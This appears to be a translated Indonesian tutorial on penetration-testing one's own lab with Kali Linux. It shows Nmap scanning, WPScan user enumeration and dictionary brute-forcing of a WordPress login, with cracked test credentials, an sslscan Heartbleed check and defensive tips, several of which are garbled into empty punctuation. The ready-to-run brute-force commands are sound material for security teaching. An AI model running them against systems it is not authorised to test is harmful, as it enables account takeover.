Kali dan alat serupa lainnya membantu mendeteksi kerentanan di perangkat lunak Anda. Dan lebih baik jika Anda menemukan mereka terlebih dahulu, dan bukan para penyusup.
Anda tidak dapat menyembunyikan penusuk dalam karung: karena ketidaktahuan (meskipun dalam beberapa kasus - dengan sengaja) bahkan perusahaan besar pun meninggalkan lubang di sistem keamanan mereka. Sangat penting untuk (1) melokalkan dan (2) memperbaikinya secepat mungkin. Untungnya, ada banyak produk berbeda yang membantu poin pertama. Diantaranya adalah Kali , distribusi Linux yang dirancang untuk pengujian keamanan. Pada artikel ini, saya akan menunjukkan kepada Anda bagaimana menggunakan Kali Linux untuk menyelidiki sistem Anda dan menemukan kelemahan dengan mensimulasikan penyerang.
Distribusi Kali mencakup banyak alat, yang semuanya open source. Ini cukup untuk menjalankan instalasi distribusi dan semua alat ini akan tersedia di luar kotak.
Gambar : Peter Gervase , CC BY-SA 4.0
Saya akan menggunakan dua sistem sebagai subjek tes:
- kali.usersys.redhat.com : memori 30 GB dan 6 CPU virtual. Sistem ini akan memindai korban dan meluncurkan serangan.
- kerentanan.usersys.redhat.com : Sistem dengan Red Hat Enterprise Linux 8 on board. Di sini dia perlu diserang.
Saya menyebutkan karakteristik teknis peralatan di sini karena suatu alasan. Beberapa tugas kami cukup menuntut pada perangkat keras, terutama CPU sistem 2, yang akan menjalankan pemindai keamanan WordPress ( WPScan ).
Cari port terbuka
Saya mulai dengan pemindaian dasar sistem 2. Dengan memindai sistem dengan Nmap , Anda dapat mengetahui port dan layanan mana yang terlihat dari sistem 1 yang memulai pemindaian.
Gambar : Peter Gervase , CC BY-SA 4.0
Jadi hal pertama yang harus dilakukan adalah menemukan beberapa port terbuka yang "menarik" - potensi kelemahan. Faktanya, port terbuka apa pun menarik karena lebih cenderung membobol jaringan. Dalam contoh ini, 21, 22, 80, dan 443 juga merupakan port untuk layanan yang sering digunakan. Tetapi untuk saat ini, saya hanya melakukan intelijen dan mencoba mendapatkan informasi sebanyak mungkin tentang sistem yang ingin saya retas.
Setelah itu, untuk analisis yang lebih dalam, saya akan memilih port 80 dan menjalankan perintah Nmap dengan argumen -p 80 dan -A. Ini memungkinkan Anda mendapatkan informasi tentang sistem operasi dan aplikasi yang menggunakan port 80.
Gambar : Peter Gervase , CC BY-SA 4.0
Di sini kami tertarik pada baris berikut:
PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.37 ((Red Hat Enterprise Linux)) |_http-generator: WordPress 5.6.1
Menemukan informasi tentang pengguna
Karena sekarang saya tahu ini adalah server WordPress, saya dapat menggunakan WPScan untuk mendapatkan informasi tentang potensi kerentanan. Alangkah baiknya menemukan beberapa nama pengguna dan kata sandinya. Untuk menemukannya dalam contoh WordPress tertentu, gunakan opsi --enumerate u: Great, found two users: admin dan pgervase . Saya akan mencoba menebak kata sandi untuk pengguna admin menggunakan kamus kata sandi - file teks dengan serangkaian opsi yang memungkinkan. Saya akan mengambil kamus dari 3.231 dan 3.543.076.137 baris.
┌──(rootkali)-[~]
└─# wpscan --url vulnerable.usersys.redhat.com --enumerate u
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.10
Sponsored by Automattic — https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
[+] Started: Tue Feb 16 21:38:49 2021
Interesting Finding(s):
...
[i] User(s) Identified:
[+] admin
| Found By: Author Posts — Display Name (Passive Detection)
| Confirmed By:
| Author Id Brute Forcing — Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] pgervase
| Found By: Author Posts — Display Name (Passive Detection)
| Confirmed By:
| Author Id Brute Forcing — Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
Menebak kata sandi dengan serangan kamus
Berbagai alat dapat digunakan untuk serangan kamus. Berikut adalah dua contoh perintah dengan Nmap dan WPScan:
# nmap -sV --script http-wordpress-brute --script-args userdb=users.txt,passdb=/path/to/passworddb,threads=6 vulnerable.usersys.redhat.com
# wpscan --url vulnerable.usersys.redhat.com --passwords /path/to/passworddb --usernames admin --max-threads 50 | tee nmap.txt
Kedua alat ini, tentu saja, dapat melakukan lebih banyak hal, tetapi keduanya juga cocok untuk menebak kata sandi.
Tetapi perintah WPScan ini, misalnya, menampilkan kata sandi di akhir file:
┌──(rootkali)-[~]
└─# wpscan --url vulnerable.usersys.redhat.com --passwords passwords.txt --usernames admin
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.10
Sponsored by Automattic — https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
[+] Started: Thu Feb 18 20:32:13 2021
Interesting Finding(s):
…..
[+] Performing password attack on Wp Login against 1 user/s
Trying admin / redhat Time: 00:01:57
<==================================================================================================================>
(3231 / 3231) 100.00% Time: 00:01:57
Trying admin / redhat Time: 00:01:57
<=========================================================
> (3231 / 6462) 50.00%
ETA: ??:??:??
[SUCCESS] — admin / redhat
[!] Valid Combinations Found:
| Username: admin, Password: redhat
Bagian yang Valid Kombinasi Ditemukan di akhir berisi nama pengguna admin dan kata sandinya. Hanya butuh dua menit untuk mengulang lebih dari 3.231 baris.
Saya memiliki file kamus lain dengan 3.238.659.984 entri unik, yang akan memakan waktu lebih lama.
Nmap menghasilkan hasil lebih cepat:
┌──(rootkali)-[~]
└─# nmap -sV --script http-wordpress-brute
--script-args userdb=users.txt,passdb=password.txt,threads=6
vulnerable.usersys.redhat.com
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-18 20:48 EST
Nmap scan report for vulnerable.usersys.redhat.com (10.19.47.242)
Host is up (0.00015s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
80/tcp open http Apache httpd 2.4.37 ((Red Hat Enterprise Linux))
|_http-server-header: Apache/2.4.37 (Red Hat Enterprise Linux)
| http-wordpress-brute:
| Accounts:
| admin:redhat — Valid credentials <<<<<<<
| pgervase:redhat — Valid credentials <<<<<<<
|_ Statistics: Performed 6 guesses in 1 seconds, average tps: 6.0
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
|_ 100000 3,4 111/udp6 rpcbind
3306/tcp open mysql MySQL 5.5.5-10.3.27-MariaDB
MAC Address: 52:54:00:8C:A1:C0 (QEMU virtual NIC)
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.68 seconds
Benar, pemindaian semacam itu dapat dilacak oleh log HTTPD yang akan terdeteksi di sistem yang disusupi:
10.19.47.170 - — [18/Feb/2021:20:14:01 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:02 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:02 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:02 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)»
Telusuri Kerentanan Hati
Untuk mendapatkan informasi tentang server HTTPS dan protokol SSL / TLS, saya menggunakan perintah sslscan:
┌──(rootkali)-[~]
└─# sslscan vulnerable.usersys.redhat.com
Version: 2.0.6-static
OpenSSL 1.1.1i-dev xx XXX xxxx
Connected to 10.19.47.242
Testing SSL server vulnerable.usersys.redhat.com on port 443 using SNI name vulnerable.usersys.redhat.com
SSL/TLS Protocols:
SSLv2 disabled
SSLv3 disabled
TLSv1.0 disabled
TLSv1.1 disabled
TLSv1.2 enabled
TLSv1.3 enabled
<snip>
Kami melihat bahwa kerentanan Heartbleed tidak ditemukan dalam versi protokol yang digunakan di server :
Heartbleed: TLSv1.3 not vulnerable to heartbleed TLSv1.2 not vulnerable to heartbleed
Artinya, saya tidak dapat mengakses RAM dan data server melalui modul Heartbeat. Yah ... itu bukan takdir :)
Tips Pencegahan dan Perlindungan Peretasan
Anda dapat menulis banyak artikel tentang cara menahan serangan dari semua kalangan. Di sini saya akan membatasi diri saya pada rekomendasi umum:
- Periksa sistem Anda : port mana yang terbuka, port mana yang harus dibuka, siapa yang dapat melihat port tersebut, dan berapa banyak lalu lintas yang harus melewatinya. Nmap untuk membantu Anda.
- : , , . .
- : , , WordPress, IP- . , IP- , . , .
- : , .
- : , . , .
- , : , « - ».
- Manfaatkan alat tambahan dari vendor perangkat lunak Anda: misalnya, Red Hat Enterprise Linux menyertakan Red Hat Insights untuk menyesuaikan sistem Anda dan memperingatkan Anda tentang potensi ancaman keamanan secara tepat waktu.
Bahan yang berguna (dalam bahasa Inggris)
Apa yang dijelaskan dalam artikel ini hanyalah puncak gunung es. Untuk menyelami lebih dalam, Anda dapat menjelajahi sumber daya berikut:
Server cloud dari Macleod cepat dan aman.
Daftar menggunakan tautan di atas atau dengan mengklik spanduk dan dapatkan diskon 10% untuk bulan pertama menyewa server dengan konfigurasi apa pun!